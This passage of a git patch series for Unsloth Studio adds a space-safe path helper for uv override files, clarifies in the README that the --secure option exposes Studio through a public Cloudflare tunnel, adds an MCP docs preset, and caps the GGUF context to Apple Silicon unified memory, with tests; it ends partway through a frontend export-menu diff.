--- a/studio/backend/utils/mlx_repair.py
+++ b/studio/backend/utils/mlx_repair.py
@@ -36,6 +36,8 @@ from pathlib import Path
 
 import structlog
 
+from utils.uv_path_safety import uv_safe_path
+
 logger = structlog.get_logger(__name__)
 
 DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR"
@@ -207,7 +209,8 @@ def _mlx_install_env() -> dict[str, str]:
         / "overrides-darwin-arm64.txt"
     )
     if override.is_file():
-        env.setdefault("UV_OVERRIDE", str(override))
+        # uv truncates UV_OVERRIDE at the first space (issue #6503).
+        env.setdefault("UV_OVERRIDE", uv_safe_path(override))
     return env
 
 
diff --git a/studio/backend/utils/uv_path_safety.py b/studio/backend/utils/uv_path_safety.py
new file mode 100644
index 0000000000..519014c71c
--- /dev/null
+++ b/studio/backend/utils/uv_path_safety.py
@@ -0,0 +1,66 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Hand uv a space-free `-c`/`--override`/`-r` file path (issue #6503).
+
+uv splits `-c`/`--override` (and UV_OVERRIDE) on whitespace, so a path with a
+space truncates. Windows uses the 8.3 short form; POSIX copies the file into a
+space-free temp dir (removed at exit). Falls back to the original path on error.
+Shared by install_python_stack and utils.mlx_repair.
+"""
+
+from __future__ import annotations
+
+import atexit
+import os
+import platform
+import shutil
+import tempfile
+
+IS_WINDOWS = platform.system() == "Windows"
+
+_UV_SAFE_PATH_TMPDIRS: list[str] = []
+
+
+@atexit.register
+def _cleanup_uv_safe_path_tmpdirs() -> None:
+    while _UV_SAFE_PATH_TMPDIRS:
+        shutil.rmtree(_UV_SAFE_PATH_TMPDIRS.pop(), ignore_errors = True)
+
+
+def uv_safe_path(path: object) -> str:
+    s = str(path)
+    if " " not in s:
+        return s
+    if IS_WINDOWS:
+        try:
+            import ctypes
+            from ctypes import wintypes
+
+            get_short = ctypes.windll.kernel32.GetShortPathNameW
+            get_short.argtypes = [wintypes.LPCWSTR, wintypes.LPWSTR, wintypes.DWORD]
+            get_short.restype = wintypes.DWORD
+            buf = ctypes.create_unicode_buffer(32768)
+            rc = get_short(s, buf, 32768)
+            if 0 < rc < 32768 and " " not in buf.value:
+                return buf.value
+        except Exception:
+            pass
+        return s
+    tmp_dir = None
+    try:
+        if not os.path.isfile(s):
+            return s
+        tmp_dir = tempfile.mkdtemp(prefix = "unsloth_uv_")
+        if " " in tmp_dir:  # e.g. TMPDIR itself has a space
+            shutil.rmtree(tmp_dir, ignore_errors = True)
+            return s
+        dst = os.path.join(tmp_dir, (os.path.basename(s) or "uv_args.txt").replace(" ", "_"))
+        shutil.copyfile(s, dst)
+        _UV_SAFE_PATH_TMPDIRS.append(tmp_dir)
+        tmp_dir = None
+        return dst
+    except Exception:
+        if tmp_dir is not None:  # don't leak the temp dir if the copy failed
+            shutil.rmtree(tmp_dir, ignore_errors = True)
+        return s
diff --git a/studio/install_python_stack.py b/studio/install_python_stack.py
index e6095748fe..9060b57542 100644
--- a/studio/install_python_stack.py
+++ b/studio/install_python_stack.py
@@ -36,6 +36,7 @@ from backend.utils.wheel_utils import (
     probe_torch_wheel_env,
     url_exists,
 )
+from backend.utils.uv_path_safety import uv_safe_path as _uv_safe_path
 
 IS_WINDOWS = sys.platform == "win32"
 IS_MACOS = sys.platform == "darwin"
@@ -1374,25 +1375,7 @@ def _ensure_rocm_torch() -> None:
             )
 
 
-def _uv_safe_path(path: object) -> str:
-    # uv 0.11.x: `-c <path with space>` truncates at the space; use 8.3 short form.
-    s = str(path)
-    if not IS_WINDOWS or " " not in s:
-        return s
-    try:
-        import ctypes
-        from ctypes import wintypes
-
-        get_short = ctypes.windll.kernel32.GetShortPathNameW
-        get_short.argtypes = [wintypes.LPCWSTR, wintypes.LPWSTR, wintypes.DWORD]
-        get_short.restype = wintypes.DWORD
-        buf = ctypes.create_unicode_buffer(32768)
-        rc = get_short(s, buf, 32768)
-        if 0 < rc < 32768 and " " not in buf.value:
-            return buf.value
-    except Exception:
-        pass
-    return s
+# _uv_safe_path is imported from backend.utils.uv_path_safety (shared with mlx_repair).
 
 
 def _windows_hidden_subprocess_kwargs() -> dict[str, object]:
@@ -1481,9 +1464,10 @@ LOCAL_DD_UNSTRUCTURED_PLUGIN = (
 LOCAL_DD_GITHUB_PLUGIN = SCRIPT_DIR / "backend" / "plugins" / "data-designer-github-repo-seed"
 
 # Apple Silicon: override mlx-vlm/mlx-lm's transformers pin (see overrides).
+# _uv_safe_path: uv truncates UV_OVERRIDE at the first space too (issue #6503).
 _MLX_OVERRIDES = SINGLE_ENV / "overrides-darwin-arm64.txt"
-if IS_MAC_ARM and _MLX_OVERRIDES.is_file():
-    os.environ.setdefault("UV_OVERRIDE", str(_MLX_OVERRIDES))
+if IS_MAC_ARM and _MLX_OVERRIDES.is_file() and "UV_OVERRIDE" not in os.environ:
+    os.environ["UV_OVERRIDE"] = _uv_safe_path(_MLX_OVERRIDES)
 
 # -- Unicode-safe printing ---------------------------------------------
 # On Windows the console encoding may be a legacy code page (e.g. CP1252)
diff --git a/tests/python/test_install_python_stack.py b/tests/python/test_install_python_stack.py
index f1a090eac9..9015ff8c9d 100644
--- a/tests/python/test_install_python_stack.py
+++ b/tests/python/test_install_python_stack.py
@@ -2,9 +2,11 @@
 
 from __future__ import annotations
 
+import glob
 import importlib
 import os
 import sys
+import tempfile
 from pathlib import Path
 from unittest import mock
 
@@ -51,3 +53,98 @@ class TestBuildUvCmdTorchBackend:
         assert not any(
             a.startswith("--torch-backend") for a in cmd
         ), f"Empty UV_TORCH_BACKEND should not add flag, got: {cmd}"
+
+
+class TestUvSafePath:
+    """_uv_safe_path hands uv a space-free `-c`/`-r` path (issue #6503)."""
+
+    def test_passthrough_when_no_space(self):
+        """A path without a space is returned unchanged on every platform."""
+        p = "/tmp/plain/constraints.txt"
+        assert ips._uv_safe_path(p) == p
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_posix_space_path_returns_spacefree_copy(self, tmp_path):
+        src = tmp_path / "Open Source" / "constraints.txt"
+        src.parent.mkdir(parents = True)
+        src.write_text("torch>=2.6\n")
+
+        out = ips._uv_safe_path(str(src))
+
+        assert " " not in out, f"uv-safe path still has a space: {out!r}"
+        assert out != str(src)
+        assert Path(out).read_text() == "torch>=2.6\n"
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_posix_missing_file_falls_back_to_original(self):
+        """No file to copy -> return the original path rather than raise."""
+        p = "/nonexistent dir/constraints.txt"
+        assert ips._uv_safe_path(p) == p
+
+
+class TestUvSafePathHardening:
+    """Edge cases for uv_safe_path + the UV_OVERRIDE channel (issue #6503)."""
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_tmpdir_with_space_falls_back(self, tmp_path, monkeypatch):
+        """A space in the temp root itself -> fall back to the original path."""
+        from backend.utils import uv_path_safety as uvps
+
+        spaced = tmp_path / "tmp dir with space"
+        spaced.mkdir()
+        monkeypatch.setattr(uvps.tempfile, "mkdtemp", lambda *a, **k: str(spaced))
+        src = tmp_path / "Open Source" / "constraints.txt"
+        src.parent.mkdir(parents = True)
+        src.write_text("idna\n")
+        assert uvps.uv_safe_path(str(src)) == str(src)
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_no_temp_dir_leak_on_copy_failure(self, tmp_path, monkeypatch):
+        """A copyfile failure after mkdtemp must not orphan the temp dir."""
+        from backend.utils import uv_path_safety as uvps
+
+        src = tmp_path / "Open Source" / "constraints.txt"
+        src.parent.mkdir(parents = True)
+        src.write_text("idna\n")
+        pattern = os.path.join(tempfile.gettempdir(), "unsloth_uv_*")
+        before = set(glob.glob(pattern))
+
+        def boom(*a, **k):
+            raise OSError("boom")
+
+        monkeypatch.setattr(uvps.shutil, "copyfile", boom)
+        out = uvps.uv_safe_path(str(src))
+
+        assert out == str(src)
+        assert set(glob.glob(pattern)) == before
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_cleanup_removes_and_clears_registry(self, tmp_path):
+        """The atexit-registered cleanup removes the copies and empties the list."""
+        from backend.utils import uv_path_safety as uvps
+
+        src = tmp_path / "Open Source" / "constraints.txt"
+        src.parent.mkdir(parents = True)
+        src.write_text("idna\n")
+        out = uvps.uv_safe_path(str(src))
+        tmp_dir = Path(out).parent
+        assert tmp_dir.is_dir() and str(tmp_dir) in uvps._UV_SAFE_PATH_TMPDIRS
+
+        uvps._cleanup_uv_safe_path_tmpdirs()
+
+        assert not tmp_dir.exists()
+        assert uvps._UV_SAFE_PATH_TMPDIRS == []
+
+    @pytest.mark.skipif(ips.IS_WINDOWS, reason = "POSIX temp-copy fallback")
+    def test_uv_override_value_is_space_safe(self, tmp_path):
+        """The value stored for UV_OVERRIDE must be space-free."""
+        from backend.utils import uv_path_safety as uvps
+
+        overrides = tmp_path / "Open Source" / "overrides-darwin-arm64.txt"
+        overrides.parent.mkdir(parents = True)
+        overrides.write_text("transformers>=4.57.6\n")
+
+        value = uvps.uv_safe_path(overrides)
+
+        assert " " not in value
+        assert Path(value).read_text() == "transformers>=4.57.6\n"

From b964d349fc7eaa121a512a06312b536bef728321 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 24 Jun 2026 04:03:12 -0700
Subject: [PATCH 091/306] Clarify in README that studio --secure creates a
 public tunnel (#6632)

The Launch-section blurb described --secure as a secure HTTPS link
instead of a raw port and stressed that the raw port is never exposed,
which reads as the more private option. The Cloudflare tunnel actually
publishes Studio at a public trycloudflare.com URL, and server-side
tools let anyone with the API key run code. Reword to state the public
exposure and the code-execution caveat, matching the installer hints and
the Remote access section.
---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 6656033523..fcb0ee8dc0 100644
--- a/README.md
+++ b/README.md
@@ -86,7 +86,7 @@ unsloth studio -p 8888
 ```
 For cloud or global access, add `-H 0.0.0.0`. By default, Unsloth is accessible only locally.
 
-For a secure HTTPS link instead of a raw network port, use `unsloth studio --secure`. Studio stays bound to localhost and is served only through a free Cloudflare HTTPS tunnel (it fails closed if the tunnel can't start, so the raw port is never exposed).
+To reach Studio over HTTPS, use `unsloth studio --secure`. Studio stays bound to localhost and is reached only through a free Cloudflare tunnel, which publishes it at a public `https://*.trycloudflare.com` URL (it fails closed if the tunnel can't start, so the raw port is never exposed). This makes Studio reachable from the internet, so anyone with the link and API key can use it and run code: keep your API key private (see Remote access below).
 
 #### Docker
 Use our [Docker image](https://hub.docker.com/r/unsloth/unsloth) ```unsloth/unsloth``` container. Run:

From c3beb921f3213369f9fb3ea3a6bfa97475bb5d4d Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 24 Jun 2026 04:22:31 -0700
Subject: [PATCH 092/306] Studio: add Unsloth Docs to the MCP server presets
 (#6633)

Adds Unsloth's GitBook docs MCP endpoint as a keyless preset in the
composer MCP menu, alongside Context7, Exa and Hugging Face.
---
 studio/frontend/src/features/chat/mcp-composer-button.tsx | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/studio/frontend/src/features/chat/mcp-composer-button.tsx b/studio/frontend/src/features/chat/mcp-composer-button.tsx
index 15b8b1db0b..7c1ecc79c1 100644
--- a/studio/frontend/src/features/chat/mcp-composer-button.tsx
+++ b/studio/frontend/src/features/chat/mcp-composer-button.tsx
@@ -60,6 +60,11 @@ type McpPreset = {
 // Keyless remote MCP presets (rate-limited free tiers, no API key).
 // Hugging Face runs anonymously; add a token via "Manage MCP servers".
 const MCP_PRESETS: readonly McpPreset[] = [
+  {
+    id: "unsloth-docs",
+    displayName: "Unsloth Docs",
+    url: "https://unsloth.ai/docs/~gitbook/mcp",
+  },
   {
     id: "context7",
     displayName: "Context7",

From 346d96d7f242261f0db52cee8d3b589b2a9dea9f Mon Sep 17 00:00:00 2001
From: oobabooga <oobabooga4@gmail.com>
Date: Wed, 24 Jun 2026 08:39:33 -0300
Subject: [PATCH 093/306] Studio: cap GGUF context to unified memory on Apple
 Silicon (#6622)

* Studio: cap GGUF context to unified memory on Apple Silicon

* Studio: tighten Apple ctx-cap comments and drop the overstated MLX-sync claim

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: reserve flat MTP fraction and floor sparse-KV ctx in the Apple unified-memory cap

The Apple Silicon GGUF context cap mirrored the discrete-GPU auto-fit branch but
missed two protections the discrete path already applies:

- It passed the full unified-memory budget with budget_frac=1.0 without first
  reserving the flat MTP fraction the discrete path takes off via _pin_fraction.
  With an MTP draft whose KV cannot be byte-sized (e.g. Qwen3.6-MTP, #6529), the
  cap filled the whole budget and left nothing for the draft, so unified memory
  could still over-commit. Reserve _flat_mtp_reserve up front; this is a no-op
  when MTP is not engaged.

- It required _can_estimate_kv(), so a GGUF with sparse KV metadata skipped the
  cap entirely and launched at full native context. Mirror the discrete
  file-size-only fallback and floor the auto context to 4096 when the cache
  cannot be sized.

Adds regression tests for both paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: tighten comments in the Apple unified-memory context cap

Condense the verbose comment blocks in the Apple budget helper, the no-GPU
Metal branch, and the context-fit tests. Comments only, no code change
(verified with ast-based comment_tools check); suite still green.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
---
 studio/backend/core/inference/llama_cpp.py    |  80 ++++++
 .../tests/test_llama_cpp_context_fit.py       | 230 ++++++++++++++++++
 2 files changed, 310 insertions(+)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 8a7fad9af4..9c22db4fec 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -803,6 +803,10 @@ _MTP_MIN_SIZE_B = 3.0
 # of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve.
 _CTX_FIT_VRAM_FRACTION = 0.95
 
+# Apple unified memory is shared with the OS, so tighter than VRAM. Matches the
+# 0.85 MLX uses in mlx_inference.py (_configure_memory_limits); not kept in sync.
+_APPLE_UNIFIED_MEMORY_FRACTION = 0.85
+
 # Flat MTP reserve, used only when GGUF dims are too sparse for the byte-accurate
 # reserve (_estimate_mtp_overhead_bytes). Applied to both the fit budget and pin.
 _MTP_VRAM_RESERVE_FRAC = 0.05
@@ -2165,6 +2169,34 @@ class LlamaCppBackend:
         ``_get_gpu_memory`` for callers that only need free VRAM."""
         return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory()]
 
+    @staticmethod
+    def _apple_metal_memory_budget_bytes() -> int:
+        """Unified-memory budget for GGUF context fitting on Apple Silicon.
+
+        No GPU is enumerated on Metal, so the context would default to native and
+        over-commit unified memory ("Compute error." at decode, #5118/#6529). Use a
+        fraction of MLX's Metal working-set, else total RAM; 0 off Apple Silicon or
+        when unresolvable, so callers skip the cap.
+        """
+        from utils.hardware import is_apple_silicon
+
+        if not is_apple_silicon():
+            return 0
+        rec_bytes = 0
+        try:
+            import mlx.core as mx
+            if mx.metal.is_available():
+                rec_bytes = int(mx.device_info().get("max_recommended_working_set_size") or 0)
+        except Exception:
+            rec_bytes = 0
+        if rec_bytes <= 0:
+            try:
+                import psutil
+                rec_bytes = int(psutil.virtual_memory().total)
+            except Exception:
+                return 0
+        return int(rec_bytes * _APPLE_UNIFIED_MEMORY_FRACTION)
+
     @staticmethod
     def _get_gpu_memory() -> list[tuple[int, int, int]]:
         """Query free AND total memory per GPU.
@@ -5027,6 +5059,8 @@ class LlamaCppBackend:
                         else 0.0
                     )
                     _pin_fraction = self._GPU_PIN_VRAM_FRACTION - _flat_mtp_reserve
+                    # Unified-memory budget (0 off Apple Silicon) for the no-GPU Metal cap below.
+                    _apple_budget_mib = self._apple_metal_memory_budget_bytes() // (1024 * 1024)
 
                     def _restore_after_tensor_downgrade():
                         # Tensor mode dropped a quantized KV and stripped the cache
@@ -5310,6 +5344,52 @@ class LlamaCppBackend:
                             # so the slider isn't on an unusable native ctx.
                             effective_ctx = min(4096, effective_ctx) if effective_ctx > 0 else 4096
 
+                    elif _apple_budget_mib > 0 and effective_ctx > 0:
+                        # No GPU on Metal: the branches above are skipped and the context
+                        # stays at native, over-committing unified memory (#5118, #6529).
+                        # Cap with the same fit math (--fit on stays as a backstop); only
+                        # auto context shrinks, explicit is honored.
+                        native_ctx_for_cap = self._context_length or effective_ctx
+                        # Reserve the flat MTP fraction up front like the discrete
+                        # _pin_fraction, so an unsized MTP draft (e.g. Qwen3.6-MTP, #6529)
+                        # can't over-commit. No-op when MTP is off; exclusive with the
+                        # byte-accurate _mtp_bytes reserve.
+                        _apple_fit_budget_mib = int(
+                            _apple_budget_mib * max(0.0, 1.0 - _flat_mtp_reserve)
+                        )
+                        if self._can_estimate_kv():
+                            cap = self._fit_context_to_vram(
+                                native_ctx_for_cap,
+                                _apple_fit_budget_mib,
+                                model_size_fit,
+                                cache_type_kv,
+                                n_parallel = n_parallel,
+                                mtp_engaged = _mtp_reserves_gpu,
+                                mtp_overhead_fn = mtp_overhead_fn,
+                                budget_frac = 1.0,
+                                total_mib = None,
+                            )
+                            _cap_footprint_mib = (
+                                model_size_fit
+                                + self._estimate_kv_cache_bytes(
+                                    cap, cache_type_kv, n_parallel = n_parallel
+                                )
+                                + _mtp_bytes(cap)
+                            ) / (1024 * 1024)
+                            # Fit returns the request unchanged when it fits OR weights
+                            # exceed budget; only the latter over-commits, so floor to 4096.
+                            max_available_ctx = (
+                                cap
+                                if _cap_footprint_mib <= _apple_fit_budget_mib
+                                else min(4096, native_ctx_for_cap)
+                            )
+                        else:
+                            # No KV estimate: mirror the discrete file-size-only fallback
+                            # and floor to 4096 rather than launch at native and over-commit.
+                            max_available_ctx = min(4096, native_ctx_for_cap)
+                        if not explicit_ctx:
+                            effective_ctx = max_available_ctx
+
                     # MTP reserve at the final context, for the logs below.
                     _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0
                     if _mtp_will_engage:
diff --git a/studio/backend/tests/test_llama_cpp_context_fit.py b/studio/backend/tests/test_llama_cpp_context_fit.py
index 9866fc4ae1..d3a10df8ca 100644
--- a/studio/backend/tests/test_llama_cpp_context_fit.py
+++ b/studio/backend/tests/test_llama_cpp_context_fit.py
@@ -68,6 +68,7 @@ _httpx_stub.Client = type(
 sys.modules.setdefault("httpx", _httpx_stub)
 
 from core.inference.llama_cpp import (
+    _APPLE_UNIFIED_MEMORY_FRACTION,
     _CTX_FIT_VRAM_FRACTION,
     LlamaCppBackend,
     classify_gpu_offload_lines,
@@ -120,6 +121,8 @@ def _drive(
     kv_per_token_bytes = 325_000,
     can_estimate_kv = True,
     extra_args = None,
+    apple_budget_mib = 0,
+    flat_mtp_reserve = 0.0,
 ):
     """Drive the post-metadata portion of load_model with stubbed inputs.
 
@@ -223,6 +226,32 @@ def _drive(
         gpu_indices, use_fit = inst._select_gpus(model_size, gpus)
         if use_fit and not explicit_ctx:
             effective_ctx = min(FALLBACK_CTX, effective_ctx) if effective_ctx > 0 else FALLBACK_CTX
+    elif apple_budget_mib > 0 and effective_ctx > 0:
+        # Mirrors the Apple unified-memory branch in load_model: flat MTP reserve
+        # off the budget up front (no-op at 0), sparse-KV floors to FALLBACK_CTX,
+        # only auto context shrinks.
+        native_ctx_for_cap = context_length or effective_ctx
+        apple_fit_budget_mib = int(apple_budget_mib * max(0.0, 1.0 - flat_mtp_reserve))
+        if inst._can_estimate_kv():
+            cap = inst._fit_context_to_vram(
+                native_ctx_for_cap,
+                apple_fit_budget_mib,
+                model_size,
+                cache_type_kv,
+                budget_frac = 1.0,
+            )
+            cap_footprint_mib = (model_size + inst._estimate_kv_cache_bytes(cap, cache_type_kv)) / (
+                1024 * 1024
+            )
+            max_available_ctx = (
+                cap
+                if cap_footprint_mib <= apple_fit_budget_mib
+                else min(FALLBACK_CTX, native_ctx_for_cap)
+            )
+        else:
+            max_available_ctx = min(FALLBACK_CTX, native_ctx_for_cap)
+        if not explicit_ctx:
+            effective_ctx = max_available_ctx
 
     return {
         "c_arg": effective_ctx if effective_ctx > 0 else 0,
@@ -704,3 +733,204 @@ def test_select_gpus_reserves_per_device_overhead():
         small, gpus, total_by_idx = totals, per_device_overhead_bytes = gib
     )
     assert a == [0] and b == [0]
+
+
+# ---------------------------------------------------------------------------
+# Apple Silicon unified-memory context cap (#5118, #6529): no discrete GPU on
+# Metal, so the auto context defaulted to native and over-committed unified
+# memory. The fix budgets and caps the auto context (explicit stays verbatim).
+# ---------------------------------------------------------------------------
+
+
+def _force_apple(monkeypatch):
+    import platform as _platform
+    monkeypatch.setattr(_platform, "system", lambda: "Darwin")
+    monkeypatch.setattr(_platform, "machine", lambda: "arm64")
+
+
+def _install_fake_mlx(monkeypatch, working_set_bytes):
+    """Minimal mlx.core stub exposing metal.is_available() and device_info()."""
+    mlx = _types.ModuleType("mlx")
+    mlx_core = _types.ModuleType("mlx.core")
+    mlx_core.metal = _types.SimpleNamespace(is_available = lambda: True)
+    mlx_core.device_info = lambda: {"max_recommended_working_set_size": working_set_bytes}
+    mlx.core = mlx_core
+    monkeypatch.setitem(sys.modules, "mlx", mlx)
+    monkeypatch.setitem(sys.modules, "mlx.core", mlx_core)
+
+
+class TestAppleUnifiedMemoryBudget:
+    def test_zero_off_apple_silicon(self, monkeypatch):
+        import platform as _platform
+
+        monkeypatch.setattr(_platform, "system", lambda: "Linux")
+        monkeypatch.setattr(_platform, "machine", lambda: "x86_64")
+        assert LlamaCppBackend._apple_metal_memory_budget_bytes() == 0
+
+    def test_uses_metal_working_set(self, monkeypatch):
+        _force_apple(monkeypatch)
+        ws = 27 * GIB  # ~recommended working set on a 36 GB Mac
+        _install_fake_mlx(monkeypatch, ws)
+        assert LlamaCppBackend._apple_metal_memory_budget_bytes() == int(
+            ws * _APPLE_UNIFIED_MEMORY_FRACTION
+        )
+
+    def test_falls_back_to_total_ram_without_mlx(self, monkeypatch):
+        _force_apple(monkeypatch)
+        monkeypatch.setitem(sys.modules, "mlx", None)  # import mlx.core -> ImportError
+        fake_psutil = _types.ModuleType("psutil")
+        fake_psutil.virtual_memory = lambda: _types.SimpleNamespace(total = 36 * GIB)
+        monkeypatch.setitem(sys.modules, "psutil", fake_psutil)
+        assert LlamaCppBackend._apple_metal_memory_budget_bytes() == int(
+            36 * GIB * _APPLE_UNIFIED_MEMORY_FRACTION
+        )
+
+    def test_zero_when_no_budget_resolvable(self, monkeypatch):
+        _force_apple(monkeypatch)
+        monkeypatch.setitem(sys.modules, "mlx", None)
+        monkeypatch.setitem(sys.modules, "psutil", None)
+        assert LlamaCppBackend._apple_metal_memory_budget_bytes() == 0
+
+
+class TestAppleContextCap:
+    """The real ``_fit_context_to_vram`` against the reporter's M3 Pro case."""
+
+    def test_caps_native_context_into_unified_budget(self):
+        # ~15.7 GB weights at native 262144 (~16 GB KV) -> ~32 GB on a 36 GB M3
+        # Pro (~23 GB budget); the fit must reduce the context to fit.
+        inst = _make_backend(native_ctx = 262144)
+        inst._can_estimate_kv = lambda: True
+        inst._estimate_kv_cache_bytes = (
+            lambda n, *a, **k: 0 if n <= 0 else int(n * 64_000)  # ~16 GB @ 262144
+        )
+        model_size_fit = int(15.7 * GIB)
+        budget_mib = int(27 * GIB * _APPLE_UNIFIED_MEMORY_FRACTION) // (1024 * 1024)
+
+        # The native footprint over-commits the budget -- this is the bug.
+        native_footprint_mib = (model_size_fit + inst._estimate_kv_cache_bytes(262144)) // (
+            1024 * 1024
+        )
+        assert native_footprint_mib > budget_mib
+
+        capped = inst._fit_context_to_vram(
+            262144, budget_mib, model_size_fit, None, budget_frac = 1.0
+        )
+        assert capped < 262144
+        capped_footprint_mib = (model_size_fit + inst._estimate_kv_cache_bytes(capped)) // (
+            1024 * 1024
+        )
+        assert capped_footprint_mib <= budget_mib
+
+
+class TestAppleBranchEndToEnd:
+    """Drive the Apple elif glue (cap / floor / explicit) via _drive, no GPU."""
+
+    def test_auto_context_capped_below_native(self):
+        plan = _drive(
+            n_ctx = 0,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            kv_per_token_bytes = 64_000,
+            apple_budget_mib = 23_000,  # ~22 GB: weights fit, native KV doesn't
+        )
+        assert 0 < plan["c_arg"] < 262144
+        assert plan["use_fit"] is True  # --fit on still ships as a backstop
+        assert plan["gpu_indices"] is None  # no CUDA device pinning on Metal
+        assert plan["max_available_ctx"] == plan["c_arg"]
+
+    def test_floors_to_fallback_when_weights_exceed_budget(self):
+        # Weights alone exceed budget: ctx can't help, so floor to 4096.
+        plan = _drive(
+            n_ctx = 0,
+            model_gib = 100,
+            gpus = [],
+            native_ctx = 262144,
+            apple_budget_mib = 20_000,
+        )
+        assert plan["c_arg"] == FALLBACK_CTX
+        assert plan["use_fit"] is True
+        assert plan["gpu_indices"] is None
+
+    def test_explicit_context_honored_verbatim(self):
+        # Explicit context is never shrunk, but the UI ceiling still tightens.
+        plan = _drive(
+            n_ctx = 200_000,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            kv_per_token_bytes = 64_000,
+            apple_budget_mib = 23_000,
+        )
+        assert plan["c_arg"] == 200_000  # launch context honored verbatim
+        assert plan["use_fit"] is True
+        # Ceiling reflects the budget so the over-budget warning still fires.
+        assert plan["max_available_ctx"] < 262144
+
+
+class TestAppleMtpFlatReserve:
+    """Apple cap reserves the flat MTP fraction up front (like _pin_fraction) so
+    an unsized MTP draft (Qwen3.6-MTP, #6529) can't over-commit."""
+
+    def test_flat_reserve_keeps_draft_within_budget(self):
+        # No reserve -> cap fills the budget, leaving nothing for the ~5% draft.
+        kw = dict(
+            n_ctx = 0,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            kv_per_token_bytes = 64_000,
+            apple_budget_mib = 23_000,
+        )
+        no_reserve = _drive(**kw, flat_mtp_reserve = 0.0)
+        with_reserve = _drive(**kw, flat_mtp_reserve = 0.05)
+
+        def footprint_mib(ctx):
+            return (15.7 * GIB + ctx * 64_000) / (1024 * 1024)
+
+        # No reserve: main footprint + 5% draft exceeds the budget.
+        assert footprint_mib(no_reserve["c_arg"]) + 0.05 * 23_000 > 23_000
+        # With reserve: the cap is smaller and the full footprint fits.
+        assert with_reserve["c_arg"] < no_reserve["c_arg"]
+        assert footprint_mib(with_reserve["c_arg"]) + 0.05 * 23_000 <= 23_000
+
+    def test_no_reserve_is_a_noop_when_mtp_absent(self):
+        # flat_mtp_reserve == 0 (the common, non-MTP case) must not change the cap.
+        kw = dict(
+            n_ctx = 0,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            kv_per_token_bytes = 64_000,
+            apple_budget_mib = 23_000,
+        )
+        assert _drive(**kw, flat_mtp_reserve = 0.0) == _drive(**kw)
+
+
+class TestAppleNoKvMetadataFloor:
+    """Sparse KV metadata floors the auto context to FALLBACK_CTX (like the
+    discrete file-size-only fallback) instead of launching at native."""
+
+    def test_sparse_kv_floors_auto_context(self):
+        plan = _drive(
+            n_ctx = 0,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            can_estimate_kv = False,
+            apple_budget_mib = 23_000,
+        )
+        assert plan["c_arg"] == FALLBACK_CTX  # not native 262144
+        assert plan["use_fit"] is True
+        assert plan["gpu_indices"] is None
+
+    def test_sparse_kv_still_honors_explicit_context(self):
+        plan = _drive(
+            n_ctx = 100_000,
+            model_gib = 15.7,
+            gpus = [],
+            native_ctx = 262144,
+            can_estimate_kv = False,
+            apple_budget_mib = 23_000,
+        )
+        assert plan["c_arg"] == 100_000  # explicit honored even without KV sizing

From 0e2f9ce0b654d836443d96dffb19abe1cb5585ef Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Wed, 24 Jun 2026 05:08:15 -0700
Subject: [PATCH 094/306] Studio: group the project export menu by Combined and
 Per chat (#6637)

* Studio: group the project export menu by Combined and Per chat

Replace the repeated (combined)/(per chat) suffix on every export row with a
section subheading, so the rows read Raw JSONL / CSV / ShareGPT JSONL under
Combined and Per chat headings.

* Studio: group export sections with DropdownMenuGroup

Wrap each Combined and Per chat section in DropdownMenuGroup for screen-reader
semantics, and drop the redundant px-3 already set by DropdownMenuLabel.
---
 .../src/features/chat/projects-page.tsx       | 62 +++++++++++++------
 1 file changed, 42 insertions(+), 20 deletions(-)

diff --git a/studio/frontend/src/features/chat/projects-page.tsx b/studio/frontend/src/features/chat/projects-page.tsx
index 1651b49626..b9a5658a96 100644
--- a/studio/frontend/src/features/chat/projects-page.tsx
+++ b/studio/frontend/src/features/chat/projects-page.tsx
@@ -12,7 +12,9 @@ import {
 import {
   DropdownMenu,
   DropdownMenuContent,
+  DropdownMenuGroup,
   DropdownMenuItem,
+  DropdownMenuLabel,
   DropdownMenuSeparator,
   DropdownMenuSub,
   DropdownMenuSubContent,
@@ -300,33 +302,53 @@ export function ProjectsPage() {
               <DropdownMenuSub>
                 <DropdownMenuSubTrigger>Export All Projects</DropdownMenuSubTrigger>
                 <DropdownMenuSubContent className="w-52">
-                  {EXPORT_FORMATS_LIST.map(({ fmt, label }) => (
-                    <DropdownMenuItem key={`ap-m-${fmt}`} onSelect={() => void handleBulkProjectExport("projects", fmt, true)}>
-                      {label} (combined)
-                    </DropdownMenuItem>
-                  ))}
